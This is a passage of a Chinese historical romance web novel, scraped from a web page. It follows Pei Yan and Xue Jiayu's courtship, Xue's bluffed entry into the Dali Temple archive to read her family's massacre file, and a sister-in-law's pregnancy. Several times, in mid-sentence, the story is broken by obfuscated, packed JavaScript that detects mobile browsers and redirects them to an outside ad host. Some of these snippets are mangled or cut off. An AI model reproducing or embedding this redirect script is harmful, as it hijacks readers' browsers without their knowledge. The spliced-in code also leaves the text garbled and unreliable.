裴砚抬起手臂,用手指别了下她耳后的头发,“阿玉,你喝多了,莫要说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188323|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡话。” “我没有说胡话!” 薛嘉玉越靠越近,用两只手扒开他的衣裳,那片白皙的肌肤立刻显现出来,她经受不住诱惑,忍不住将脸蛋埋进那片雪白温暖的肌肤上。 裴砚顿觉全身上下的血液都沸腾起来了,他也瞬间明白了心里面那股莫名的冲动究竟代表着什么了。 可趁人之危实属不是君子所为,此等亲密至极的事情无论如何也要等到成婚以后再做。 裴砚必须要坚守住自己的底线。 然而薛嘉玉却是一点点地得寸进尺,她不仅用手摸了,还轻轻地将自己温润的双唇贴在肌肤上,像小鸡啄米一般重复了好几次。 她忽然仰起头来,双唇与他的下巴仅有一纸之隔,“文溪,你会陪我行男欢女爱之事吗?” 裴砚的额头上倏地冒出了一层薄薄的汗,他的喉结上下滚动了一次,“阿玉,此事必得等成婚以后才能做,否则就是对你不负责。” 薛嘉玉听后,心中不乏渗出一丝酸楚,她晶莹的眼泪霎时在眼眶中不断打转,“可是我怕等不到。” 听及此,他倏地变得正经起来,裴砚微微坐直身子,一边给她擦了擦眼尾,一边问:“为什么这么说?” “因为我心里面藏着很多的难言之隐,我觉得我应该等不了那一天,裴砚,我只想和你及时行乐。” 他早就猜到薛嘉玉心里面藏了很多秘密,只是没想到这些秘密居然压得她喘不过气来。 裴砚一手环住她的腰,一手轻轻拍着她的脊背,“不会的,你会长命百岁的,休要想这些有的没的。我也会一直等着你,若是哪一天你愿意同我讲那些秘密,我也会认真听你倾诉,竭尽所能帮你的。” 薛嘉玉埋在他的胸膛里小声啜泣着,“文溪······” 殊不知,这些居然都被站在裴府门口的裴珩给听见了,他刚从蒋府那儿吃了闭门羹回来,本来心里面就很不爽快,现如今又不经意听见自己的弟弟正上演着郎情妾意这一幕恩爱戏,况且他们俩如今尚未成婚,就如此不顾礼节,置女方的清白和名节于何地? 也怪金羽听里面那俩正浓情蜜意着,不好意思打扰,才导致裴珩正巧撞上了。 裴珩气得都快要直接入土了,他冷着脸,冲着那驾马车吼道:“裴砚!你马上给我滚下来!” 马车里面的两个人都同时被吓到了,薛嘉玉也瞬间清醒过来,她麻溜地从裴砚身上下去,“怎么办?” 裴砚心里面也很虚,他一边慌慌张张地系好衣领的盘扣,一边安抚她的情绪,“无碍,他不会说你的。不过我方才说得话是认真的,你好好考虑一下吧,我等你。” 正堂上,裴珩坐在主位,裴砚则是双膝跪在地上,两手自然垂放在两腿边,他抬起脑袋直视裴珩那双审视的眼神,一时间也不知道该怎么解释。 这还是他们二人分府以来,裴砚第一次在他面前低声下气的。 不过这次不管裴珩怎么说他,裴砚也都认了。 可是裴珩并没有像他预料中那样雷霆震怒,反倒是心平气和地教育,“裴砚,你们还未成婚,素日里还是多多注意一点分寸,若是今夜一不小心在马车上酿成大祸,你该如何是好?” 裴砚硬着头皮解释:“我和她没有发生那种事情,我还是很有节操的。” 41. 阿玉 裴珩可不相信他的鬼话,方才他明明两只耳朵都听见裴砚一口一个“阿玉”,薛嘉玉也是哭着一口一个“文溪”,要说他们俩之间什么都没有发生的话,裴珩断然不信。 他用手指指着被裴砚系得乱七八糟的盘扣,气得一时间都不知道说什么才好,“帮你的盘扣给我扣好。裴砚,你都已经是个二十出头的人了,做事要有分寸才是,尤其是在感情这个方面,不能胡来。” 裴砚连忙将自己的衣服上的盘扣重新扣了一遍,他本想解释,可薛嘉玉的声音却忽然横插进来,她打算把这个话题岔开,否则这一晚上都将围绕这个话题。 她左顾右盼,也没瞧见蒋宁显的身影,便好奇一问:“兄长,长嫂呢?怎么还是没回来?” 见有了裴珩的把柄,裴砚顿时心里面有底气多了,他嗤笑一声,“肯定是没追回来呗,就裴珩这样的,人家肯跟着回来就怪了。” 说起蒋宁显,裴珩就发愁,他单手撑着额头,“她不肯见我,连一句话都没说上。” 薛嘉玉皱着眉头,一脸不可思议地问:“然后你就这么水灵灵地回来了?” “都吃闭门羹了,自然就回来了,免得扰她清静。” 听他这语气,裴珩好似并没有意识到自己做错了。 这回不止薛嘉玉,就连裴砚都想要拿块砖头一把拍在裴珩的脑门上。 裴砚从地上站起来,两手插在腰间,趾高气扬地看着裴珩,“她说不见你,你就不知道偷偷溜进蒋府找她啊?但凡你翻个墙,长嫂肯定都乖乖跟你回来了。” 薛嘉玉跟着欣慰地点点头,“没错,长嫂就是嘴硬心软,说是不肯见,其实是想等兄长你强行闯进去,好好哄哄她,让长嫂知道你的情意。” 裴珩端起茶盏,抿了一口热茶,“我堂堂一个吏部侍郎,若是大晚上的翻墙进去,被哪个有心人瞧见了,就会落下把柄,到时候指不定那些人会怎么在奏折上编排我。” 裴砚懒得和他掰扯,一把握住薛嘉玉的肩头,“罢了,你爱端着就端着吧,我和阿玉先回屋了。” 刚说完这句话,裴砚的侧腰就被她给狠狠掐了一下,薛嘉玉恶狠狠地威胁:“请注意你的言辞,什么叫做你和我先回屋?要说回各自的屋。不然一会儿兄长又要误会了。” 待走远一点,裴砚才不着调地含笑道:“方才在马车上你可不是这个态度,不是说要和我行男欢女爱之事吗?” 她羞得站在原地跺了跺脚,“你别说了,我那是喝醉了。” 裴砚识趣地没有继续调侃她。 夜里,一片片雪花划过黑色的天空,然后慢慢悠悠地落在大地上,但很快就化成了一摊清澈的水,薛嘉玉两手捧着,想要接住雪花,可是雪花太小了,根本就接不住。 裴砚没有急着催她回屋,而是把自己身上的大氅脱下来,披在她的身上,旋即又悄悄吩咐旁边的侍从,让他去拿一个暖手炉过来,并让小厨房做一碗醒酒汤送过来。 侍从很快就把一个兔毛暖手炉送过来了,裴砚看她手背发青发紫,连忙把暖手炉塞进她的手心里,可是薛嘉玉却并没有领他的好意。 薛嘉玉将暖手炉还给他,“我不用这个,不然等手暖和了,这雪花就会融化得更快。” 被拒绝了的裴砚也没有失落,而是自己捧着手炉,他笑着说:“现在雪还是太小了,你接也接不住,不如等雪大了些后,我带你去玩雪?” 她盯着自己手心里的寥寥雪花,将手心收紧,雪花很快化成水,从她的指缝流走了。 “那我先回房了。” 裴砚追上去,与她十指相扣,“等等我嘛。” “裴砚,你在马车上说得都是真的?” “那是自然,我什么时候唬过你?” 薛嘉玉在心里面默默吐槽:你明明每次都唬我骗我。 到了厢房门口,薛嘉玉发现裴砚居然还要跟着自己进来,她立刻抱住自己,“我跟你说,你不准肖想一些不该想的事情。你!现在立刻马上!转身!然后出去!” 可裴砚不但不听她的话,反而还往里面走了几步,他反手将门关上,眼波流转,目如秋水,他迈着步子来到薛嘉玉面前,用手指弹了一下她的脑门,“想什么呢?我让人给你熬了碗醒酒汤,我得监督你喝下去。还有,你喝酒喝得多,就不要沐浴了。” 薛嘉玉顿时松了口气,她将身上的大氅脱下,一边往床榻走,一边甩掉自己的鞋子,鞋子被甩得一个在东,一个在西。 裴砚也不辞辛劳,亲自把她的两只鞋子拎起来,整整齐齐地放在床前,他一屁股坐在床沿,两腿岔开,两只手掌心分别撑在两个膝盖上,他歪着脑袋,视线径直落在薛嘉玉身上。 “晚上睡觉不会冷吧?” 薛嘉玉连忙摇头否认,“不冷,暖和得像是在春天一样。” 他给薛嘉玉掖好被子,“一会儿我走了,你记得把身上的衣裳换了,别倒头就睡。” “我知道。”她觉得裴砚好生啰嗦。 下人们不敢怠慢这位未来的少夫人,麻利地就把醒酒汤送来了,然后速速离开,以免打扰他们独处。 薛嘉玉脑袋发晕,她的眼皮止不住地想要黏在一起,感觉天旋地转,想马上躺下去睡着,可是裴砚非要把她拉起来,让她喝醒酒汤。 “裴砚,我困了,醒酒汤就不喝了行吗?” 裴砚单手揽住她的肩膀,让她坐起来,“不行,你要是不喝的话,明早起来会头疼,很不舒服的。” “可是我好困啊。” “我喂你喝,总行了吧。” 他无奈端着碗,递到她的嘴边,慢慢地往里面灌,生怕她一不小心呛着。 刚喝完醒酒汤,裴砚还没来得及将她放倒在床上,薛嘉玉就头一倒,直接睡过去了。 裴砚叹了口气,动作轻柔地把她的脑袋放在枕头上,然后盖好被子,去外面找了位侍女帮她换衣服,还特意嘱咐千万不要把她吵醒。 可是等薛嘉玉早晨起来的时候,发现自己的天都塌了! 薛嘉玉掀起被子,往里面看了一眼,发现自己身上只穿着一件薄薄的睡衣,她的脑子瞬间宕机。 她记得昨晚裴砚喂着迷迷糊糊的自己喝完了醒酒汤之后,自己就直接睡着了,那她身上的衣服是谁换的?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188324|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 莫非是裴砚? 薛嘉玉从床上蹭起来,打开衣柜从里面挑了一套浅绿色立领长袍和一件鹅黄色的斗篷,斗篷的边沿都是毛绒绒的,长袍上还绣着一只小鹿,活灵活现。 她抱着这几件厚重的衣服来到屏风面前,将衣服搭在屏风上面,薛嘉玉习惯了自己烧水沐浴,可等她打开门准备去厨房的时候,才意识到自己这是在裴府,若是自己烧水沐浴的话,会不会被下人们嚼舌根?裴砚会不会也会被指责眼光不行? 正想到这儿,一位侍女就走过来询问:“薛娘子,可是有什么事情需要吩咐?” “哦,我想要沐浴。” “那我们马上去给薛娘子备好,薛娘子先去正堂吃早膳吧?” 要是现在去吃早膳的话,肯定会碰见裴砚,薛嘉玉现在不想见他,况且自己身上还有残留的酒味,倘若被裴珩闻到了的话,兴许还会端着一副大家长的模样说教几句。 光是想想,她都觉得那是一顿鸿门宴。 薛嘉玉连忙摆手加摇头,“不必了,你们一会儿把早膳送到我房里来吧,我喜欢先沐浴后吃饭,麻烦你们了。” 侍女得了吩咐后,就立马退下,着手准备了。 她将屋里的窗户都关得严严实实,站在屏风后面褪下衣衫,先是将手掌心探进水里,试试水温,觉得不是很烫,才迈腿进了浴桶。 她坐在浴桶里面,不得不说这大户人家的浴桶都要更大一些,自己家那个连腿都只能收起来,而裴家的这个,薛嘉玉竟然可以把两条腿都伸直。 她顿时都觉得泡澡不憋屈了。 等再攒点钱,薛嘉玉一定要买一座大点的房屋。 薛嘉玉双手捧起浴桶里的水,凑近嗅了嗅,这个澡豆的味道和昨夜裴砚身上的味道一模一样。 这时屋门忽然被敲响,薛嘉玉被猛地吓了一大跳,她转头将视线投到屋门,“谁啊?” 裴砚不知道她在里面洗澡,还以为她是刚睡醒,不好意思见他,他侧靠在门上,用指关节叩了叩门,“我去大理寺了,你记得起来吃早膳。” 她用手拨了拨面前的水,水面荡起层层涟漪,薛嘉玉泡得脸颊通红,她心不在焉地糊弄着,“哦哦好。” 薛嘉玉觉得脑子有点晕,就从浴桶里蹭起来,站在蒯席上,用葛巾擦拭身上的水滴,然后拿起搭在屏风上面的衣服,规规整整地穿在身上。 她披头散发地坐在凳子上,大口地享用着桌子上这几盘早膳,可惜花胶燕窝这些虽然很贵重也富含营养,但薛嘉玉还是觉得烙饼最好吃。 说起烙饼,她不由得想起了蒋宁显亲手做的饼,她做的饼里面还会夹着肉,特别的香,口感酥脆,若是拿出去卖,也定能吸引一大部分人的。 这时,她的房门再度被人敲响,薛嘉玉立刻放下手里用陶瓷制成的勺子,走到门口开门。 本以为是哪位侍女奉裴砚之命又来对她嘘寒问暖了,没曾想站在门口的居然是衣冠楚楚的裴珩。 薛嘉玉顿时紧张起来,她不自然地拢了拢头发,忐忑地说:“抱歉兄长,我刚沐浴完,还未来得及梳头,你莫要指责我。” 42. 见面礼 裴珩面无表情地从袖子里拿出一个四四方方的盒子,“你来裴府两天了,我也没给你准备见面礼,你勿要怪我才是。这礼你收下吧。” 薛嘉玉立马双手接过盒子,“多谢兄长,只是我也没给你和长嫂准备礼物,你千万不要往心里去,我今天就去街上给你们买来补上。” 他依旧神情严肃,背手而立,“不用,我和宁显都不在乎这些虚礼,你和文溪好好过日子,才是我想看见的。” 闻言,她行了行礼,“我明白了,长兄。” 说罢,裴珩便潇洒地拂袖而去,一句话也没有留下。 如今,她已然知晓自己家人被杀是和陈家有关,但陈家树大根深,光靠薛嘉玉一个人的力量是万万没有办法撼动的。 难道说,她真的只有和裴砚坦白,寻求他的帮助这一条路了吗? 可薛嘉玉不想把他牵扯进来,万一最后失败了,不仅裴砚会被她扯下水,就连整个裴家都逃不过。 不行,她不能为了一己私欲,害了其他无辜的人。 薛嘉玉想着今天没什么事可做,就打算去大理寺,看看能不能找到什么旁门左道,溜进去翻阅陈年卷宗。 她来到大理寺,将裴砚送她那块玉佩取下来,展示给门口那两位小吏看,小吏知道这是裴府独有的玉佩,连忙恭恭敬敬地将薛嘉玉迎了进去。 正巧碰见了步履匆匆的金羽,金羽瞧见她,立刻停下步子,“薛娘子好。” “金羽,裴大人呢?” 金羽是个聪明的,“大人正在办公呢,我带你去见他吧。” 薛嘉玉微微颔首,跟在金羽身后,她听见旁边有些来来往往的大理寺官员在讨论她的身份,便一个眼神使过去,那些人立刻悻悻闭嘴。 她穿过重重走廊,又踩着楼梯来到二楼,最终停留在了一扇门前,金羽推开这扇门,站在门口,对里面那位埋头苦干的裴少卿说:“郎君,薛娘子来看望你了。” 薛嘉玉连忙摆摆手,“不是看望!不是看望!” 听见她的声音,裴砚立马抬起头来,将视线从面前的卷宗上挪到站在门口的那位清丽脱俗的女子身上,他的眸光顿时变得温柔至极,抬起手冲她招了招手,“进来吧。” 金羽知趣地关上门离开了这个是非之地。 薛嘉玉走到他的身后,将两只手放在他的肩膀上,给他轻轻按摩,“你也不要为了忙公务就忘记休息。” 裴砚抬头看向她,单手握住她的手腕,“怎么不好好待在府里,来这儿找我了?可是受了什么委屈?” “我哪里有那么容易受委屈?今早兄长送了份见面礼给我,是一枚黄金并蒂海棠花步摇,我当然也好卖点东西送给兄嫂二人啊,所以就出来逛逛,顺道看看你。” 他的视线落在了薛嘉玉空落落地手上,“是么?那你买的礼物呢?” 薛嘉玉地嘴角忍不住抽了抽,她右手握成拳,捶了一下裴砚的肩膀,“你非要拆穿,让我难堪,你才满意是不是?” “这有什么好难堪的?” 说着,裴砚用手拍了拍自己的大腿,薛嘉玉心领神会,别扭地坐在了他的腿上,她两手羞涩地放在自己腿上,“裴砚,我……” 他抬起手,摸了摸薛嘉玉身上好不容易长出来的肉,裴砚掀起眼皮,调侃了一句,“怎么感觉你好像又长胖了些?” 薛嘉玉蓦地皱起眉头,一边用手捏了下裴砚的胸膛,一边恶狠狠地威胁:“怎么?我长胖碍着你了?” 裴砚瞬间服软,“当然没有。来找我当真只是想我了?” “你不想看见我?可以啊,我现在就走。” 说罢,她就麻溜地从他的腿上站起来,刚往前面迈了一个步子,脚掌还未落地,就又被裴砚给抓了回来,薛嘉玉跌坐在他的腿上,腰被裴砚用双手环住,她直视着前方,没有分给裴砚半个眼神。 裴砚仰着脑袋,眉头轻轻蹙起,他瘪了瘪嘴巴看起来好似十分委屈可怜,“阿玉,别生气。你能主动来看我,我真的很开心。” 薛嘉玉板着脸,摊开右手,“既然你很开心,那你就把你的大理寺腰牌取下来给我玩玩。” 他脸上的笑容短暂凝固了一瞬,旋即又恢复了往常,裴砚的语气依旧温柔平和,“这可不行。除了这个,我都可以满足你。” 其实薛嘉玉本来也就没有抱多少希望,所以也并没有觉得有多么失望。 “好吧,不勉强你,我还得去给兄嫂他们买礼物,就先走了。” 裴砚飞速地吻了一下她的眉角,“路上小心,今天我早点回来陪你。” 她迟疑片刻,道:“我打算今晚回自己屋里住。” 说实话,裴砚很舍不得她,尤其是那夜听见她说自己害怕等不到成婚的时候,他心里面五味杂陈。 裴砚将两只手的力度收紧了一些,“不要嘛,你再陪陪我,你房子那儿我找人去帮你打扫打扫。” 薛嘉玉磨不过他的撒娇,两手握住他的手臂,“知道了,我不搬行了吧,你快放开我。” “得空了也去蒋府瞧瞧长嫂,不然裴珩天天板着个脸,看着丧气。” 她从裴砚的大腿上蹭起来,“那我走了。” 刚一溜出去,薛嘉玉就迅速向小吏打听贮藏室的位置,有一个好心的小吏亲自带着她走过去。 她想,既然这枚玉佩是裴府特有的,那这是不是也能代表裴砚这个人? 况且她都能靠着这枚玉佩进大理寺的大门,兴许也能够借这枚玉佩进贮藏室,而且这样一来,也不会被裴砚发现。 贮藏室门口有一位年轻的小吏守着,薛嘉玉甫一走到贮藏室门口,尚未开口,就听见小吏说:“大理寺有规定,若要进入贮藏室,须得出示大理寺腰牌。” 薛嘉玉解下腰间的白虎玉佩,将刻有白虎的这一面展示给小吏看,“我是裴少卿的侍女,他方才吩咐我来贮藏室翻找卷宗。” 可是这位小吏虽然年轻,但并没有那么好糊弄,“抱歉,必须要有大理寺腰牌才行。” 她面不改色地继续说:“这枚玉佩可是裴府独有的,难道还不能代表裴少卿吗?况且现在裴少卿正忙着处理别的案子,若是把大理寺腰牌给了我,那裴少卿又该如何去查案呢?因此他只给了我这枚白虎玉佩。” 小吏有些疑惑,“可是不久前金侍卫才来这里查阅了陈年卷宗。” 薛嘉玉向来是见人说人话,见鬼说鬼话,“金侍卫粗心大意的,拿漏了卷宗,大人特地让我再来找一找。大人的急事咱们可耽误不起啊。” 小吏曾从同僚那里听说过裴砚身上有一枚独一无二的白虎玉佩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188325|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,从不离身,想面前这位小娘子也不可能直接上手偷走,便将她放了进去。 贮藏室里摆放着数不清的书架,每一个书架旁边都标注了年份,薛嘉玉按照年份找到了薛家被屠满门一案,打开卷宗,上面只用毛笔字留下了寥寥几笔墨水,除了死亡人数和死者名字之外,就只有一句简单的案情简述——八月初五子时,西市薛氏一家惨遭灭门,无一人存活。 她的视线下移,停顿在了右下角经手此案的那位大理寺卿的名字上。 覃宏。 此案已经过去了十三年了,能当上大理寺卿的一般都已至天命之年了,所以这覃宏现在是否还苟活于世尚且不知。 这贮藏室存放了许多陈年案卷,也封存了无数没有沉冤昭雪的冤魂,但是却没有任何一个人敢豁出一切,为他们洗刷冤屈。 薛嘉玉合上手里的卷宗,她用手心轻轻抚了抚封面。 爹,娘,乳母,我一定会为了你们报仇的。 你们再等等。 她将卷宗放回原处,因为怕被裴砚和金羽发现,所以薛嘉玉提起裙子,速速溜走了。 离开了大理寺,薛嘉玉就往东市走,打算去那儿瞧瞧适合送出手的礼物,本来她是想要去比较熟悉的西市买的,但是西市一般都是卖一些低廉或者外邦玩意儿,她想着裴珩都送了她一枚那么贵重的步摇,那她也至少得买个差不多昂贵的礼物吧,不然多送不出手啊? 薛嘉玉平时很少来东市逛,对这里的店铺不太熟悉,所以她瞧着哪家的门面好看,她就去哪家店逛。 可是等进了店,望着眼前那些琳琅满目的商品,她顿时意识到自己不知道送什么好,早知道方才在大理寺的时候就应该问问裴砚的。 薛嘉玉挑花了眼,旁边的店小二一直在旁边推荐店里卖得火热的商品,叽里呱啦的,吵得她有些头疼。 挑了半天,她最终挑了一盒珍珠玉颜粉和一枚墨色玉佩,玉佩上面刻有竹子,薛嘉玉听说文人最喜欢竹林,想必裴珩这样有些古板的文人也会喜欢吧。 一结帐,就给出了三个银元宝,薛嘉玉有些心疼。 她回到裴府后不久,裴砚也从大理寺回来了,他瞧了眼薛嘉玉手里拿着的玉佩和珍珠玉颜粉,他对女子的美容之物不太了解,只知道那枚玉佩看起来成色不错,价钱定然不低。 “买这些花了多少钱?” 薛嘉玉不明白他为什么问这个问题,她抬起头问:“你问这个做什么?” “当然是给你填窟窿啊。”这话他说得理所应当。 “不必了,这是我主动买的,你给钱算什么?” 裴砚牵着她来到小花园里面的躺椅上坐着休息,“本来就是我不让你准备见面礼的,我也许久没回这里了,你买的见面礼也有我的一份,这个钱我应该出。” 听及此,薛嘉玉的眼珠子骨碌一转溜,心里登时有了个坏主意,她忍不住勾了勾唇角,“光是这两样东西就花了我整整一个金元宝呢!本来我就只有你给我的那一个金元宝,没想到这才只守住了几周,就把它给花出去了。” 裴砚知道这两样东西加起来是万万值不了一整个金元宝的,但是他不想扫她的兴,于是瘪着嘴巴顺着她的话往下说:“这么贵啊,那还真是让阿玉破费了。无碍,一会儿给你补上。” 43. 熊心豹子胆 薛嘉玉摊开手,轻轻地瞥了他一眼,“是么?怕你赖账,你现在就给我。” 她本来没有把裴砚说得话当真的。 可是裴砚却当真从钱袋子里面掏出一个金元宝,就像是早就准备好的一样。 薛嘉玉迟疑地接过金元宝,她抬起头来,一脸正经地盯着他问:“你早就准备好了?” 裴砚微微颔首,“没错。你能不能看在这颗金元宝的份上,在裴府多住几日?” 此时微风拂过,天空上纷纷扬扬的雪花似乎比昨日更大了些,洁白的雪花轻飘飘地落在薛嘉玉的头发上,她的脸蛋一扫从前的面黄肌瘦,如今瞧着倒是白皙圆润了不少,她那双殷红的嘴唇一张一合着。 只听她说:“好,我答应你。” 听见这句话后,裴砚的心总算是能够放下来了,他绕到薛嘉玉头的那边,两手放在她的肩膀上,轻轻揉捏,这还没多揉几下,躺椅上的薛嘉玉就忽地蹭了起来,他以为是自己方才力度重了,才让你受不了的。 然而他嘴里道歉的话尚未脱口而出,就瞧见薛嘉玉转过身来,她将手肘撑在躺椅边沿上,眸中尽显疑惑,“文溪,我很好奇一件事情。你平时不都是不住在这裴府吗?那为何这几日都在这里住下了?就算你想把我留下,大可以让我去你府里住下啊。” 是裴砚没有想到吗? 不,是他没有这个熊心豹子胆。 要是裴砚将他安置在自己府里,被裴珩或者爹娘发现了,定会被用家法好好伺候上好几天! 到时候,恐怕他已经被打得皮开肉绽,连路都走不了了。 裴砚只道:“我这不是觉得要是带你回我的府里,你肯定会觉得很孤单寂寞嘛,这裴府里面好歹有长嫂在,你们俩都是姑娘家,一定会有很多话题可聊,这样你也不会觉得无聊。” 薛嘉玉若有所思地点了点头,没有继续追问下去。 其实她本来还想要问问裴砚叫金羽去翻阅陈年案卷的事情,薛嘉玉很是担心是自己一不小心暴露了,所以裴砚想要亲自去查过去的事情,可是她不敢问,万一赌错了呢?那到时候岂不是相当于自己主动招了? 思来想去,这样做风险太大,薛嘉玉还是假装什么都不知道才好,等过一阵找了个合适的理由离开裴府后,再去好好查一查陈府的事情。 这时,大门处传来了裴珩的声音,正坐在躺椅上面的薛嘉玉咻的一下就蹭起来了,把旁边的裴砚吓了一大跳,她这一反应就和学堂里学子正打着瞌睡,忽然间夫子走过来敲了敲书案,学子猛地被惊醒的反应一模一样。 裴砚方才瞧她这么紧张,还以为她是瞧见鬼神了,可顺着薛嘉玉的视线望去,原来是看到了从外面回来的裴珩。 薛嘉玉远远地冲着裴珩热络地打了声招呼,走近些后才发现裴珩今日并不是一个人回来的,他的身边正站着几日未见的蒋宁显,她身上穿着件水蓝色的齐胸襦裙,襦裙顶部用一圈鹅黄色装点,仔细一看,上面还用针线绣着几朵花瓣,花团锦簇,蒋宁显的左肩挎着鲜红色披帛,披帛上点缀着数不清的牡丹花,衬得她更加明艳大气。 蒋宁显瞅见了她,张开双臂,脑袋往后缩了一下,脸上露出一丝嗔怪的意味,“怎么都不跟我打招呼?几日不见,我们难道就生疏了不成?” 她莞尔一笑,立刻冲上去抱住蒋宁显,“长嫂,你终于回来了,阿玉可想死你了。” 裴珩在旁边瞧着,虽然嘴角不带一丝笑容,但眸中尽显笑意,他的视线落在蒋宁显身上,“抱得时候小心一些。” 蒋宁显不以为意地摆摆手,“无碍的。” 薛嘉玉往后退了一小步,颇有些关切地问:“长嫂,你可是身体不舒服?” “不是身子不舒服,是我有身孕了。” 此话一出,裴砚和薛嘉玉异口同声道:“身孕?” 他们二人各怀鬼胎地交换了一下眼神,随即便瞧见裴砚毫无礼貌地用手指着裴珩的鼻子,皱着眉头道:“好啊你,你一边拿礼节约束我俩,一边又不顾礼节和长嫂行周公之礼。” 裴珩一下就把他指着自己鼻子的手给拍开了,“我哪里不顾礼节了?我和你长嫂可是成了婚的。” 蒋宁显及时站出来做和事佬,“好了,你们兄弟俩别斗嘴了。文溪,我和你兄长的事情说来话长,不便解释。现在天色也不早了,我去吩咐小厨房给你们做晚膳。” 说罢,裴珩还没来得及拽住她,蒋宁显就脚底一抹油跑远了,薛嘉玉见状,也好奇地跟了上去。 她蹑手蹑脚地溜到蒋宁显身后,悄悄用手指戳了戳蒋宁显的脊梁骨,“长嫂。” 蒋宁显吓了一跳,慌忙转过身来看后面这位罪魁祸首,她用手拍了拍胸口,旋即就用手指戳了一下薛嘉玉的脑门,“你呀,怎么这么古灵精怪的。” 薛嘉玉一脸兴奋地凑到蒋宁显身边,她单手遮住嘴巴,“长嫂,你跟我说说兄长今日是如何把你哄回来的?” 蒋宁显就猜到她跟上来一定没有好事。 不过看在她这么好奇的份上,蒋宁显也不想泼她冷水,便将手里的盘子递给旁边的厨子,吩咐他们多做点好吃的后,就悄悄地对薛嘉玉说:“我跟你说了之后,你可莫要跟文溪说,裴珩向来要面子,要是文溪知道了去他面前嘲笑,兄弟俩定会又吵起来的。” 虽然薛嘉玉不知道裴珩究竟做了多么丢脸的事情,就连裴砚都要瞒着,但是为了八卦,薛嘉玉忍了。 她点点头,“放心吧,长嫂,我向来最守口如瓶了。” 蒋宁显这才放下心来,压低声音道:“他今日来蒋府找我的时候,我爹娘本不让他进府,原以为他又会像昨儿一样直接走了,没曾想他居然找了个角落,直接翻墙进来了,把我吓了一跳,要知道他是个好面子的,是万万不可能做出此等事情来的。然后他就把我推进我屋里去,跟我说了好长一段话,听得我都快睡着了,但是我能感受到他对我的爱意,也知道了他从前为何不肯与我亲近。我见他应当是真心的,便在回来的路上和他说了我有身孕的事情。” 她停顿了一下,又道:“我知道你肯定很好奇为何我们二人并未定情,却行了周公之礼,但这件事说来属实复杂,况且这个话题比较私密,恕我不能同你讲。方才我跟你说的这些,切记不要告诉文溪。” 薛嘉玉一本正经地拍了拍胸口,“长嫂,你就放心吧。” 可是等入了夜,薛嘉玉的厢房中忽然间爆发出一阵极其放肆的笑声。 把门口路过的侍女都吓了一跳,连忙敲敲门问:“薛娘子,没事吧?” 薛嘉玉一边冲着他比了一个噤声的手势,一边跑到门口对侍女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“裴砚,你自己有屋不回,每天晚上来我这儿待着算怎么回事?一会儿要是被兄长给发现了,你就又要被罚跪了。” “罚便罚了,我也认了。”说着,裴砚从旁边的小桌子上拿起一块苹果,“来,吃个苹果。” 薛嘉玉瞧他将苹果直接递到自己嘴边,严重怀疑这个人是不是想要亲自喂她吃? 但她觉得这样实在是有些亲密过头了,于是薛嘉玉一把夺过她手里的苹果,塞进了嘴巴里,“我自己吃。” 可薛嘉玉刚嚼了几下苹果,嘴上的动作就忽然间顿住了,她用手狠狠一拍裴砚的胸膛,脸上尽显惊慌之色。 若不是因为这是在自己家,裴砚都要怀疑她是不是吃到毒苹果了? 裴砚好奇问道:“怎么了?” 薛嘉玉三两下就把苹果嚼碎吞进肚子里面去,她语气甚是着急,“方才吃饭的时候,我忘记把礼物送给他们了!” 方才瞧她那么着急,裴砚还以为发生了什么大事呢,原来是因为这个。 他那颗都已经提到嗓子眼的心终于有惊无险地落地了,裴砚浅浅叹了口气,“我还以为多大的事儿呢,你明日再送就是了嘛。” 薛嘉玉现在冷静下来,觉得裴砚说得也没错,顿觉自己刚刚确实有点大惊小怪了。 她从罗汉床上下来,整理了一下有点皱巴巴的裙摆,“我想入睡了,你快走吧。” 裴砚伸出右手,牵着她冰冰凉凉的手心,一把将她拉了回来。 “你不是说想要玩雪吗?我带你去,怎样?” 44. 偷亲 “现——现在?” 薛嘉玉的脑子还处于宕机状态,就被裴砚拉到外面去了,但他却说自己要去拿一样东西,就把她一个人留在此处等候。 她一头雾水地站在原地,外面冷飕飕的,薛嘉玉便对着手心哈气,然后手心合在一起搓了搓取热。 不隔多时,她便瞧见裴砚一手将梯子扛在肩膀上,一手拎着一个暖手炉。 裴砚将暖手炉塞到她冻得僵硬的手心里,薛嘉玉两手捧着手炉,顿时觉得暖和了不少,她将目光挪到裴砚肩膀上扛着的梯子上,心中登时有种不详的预感,“你到底要带我去哪儿看雪?” 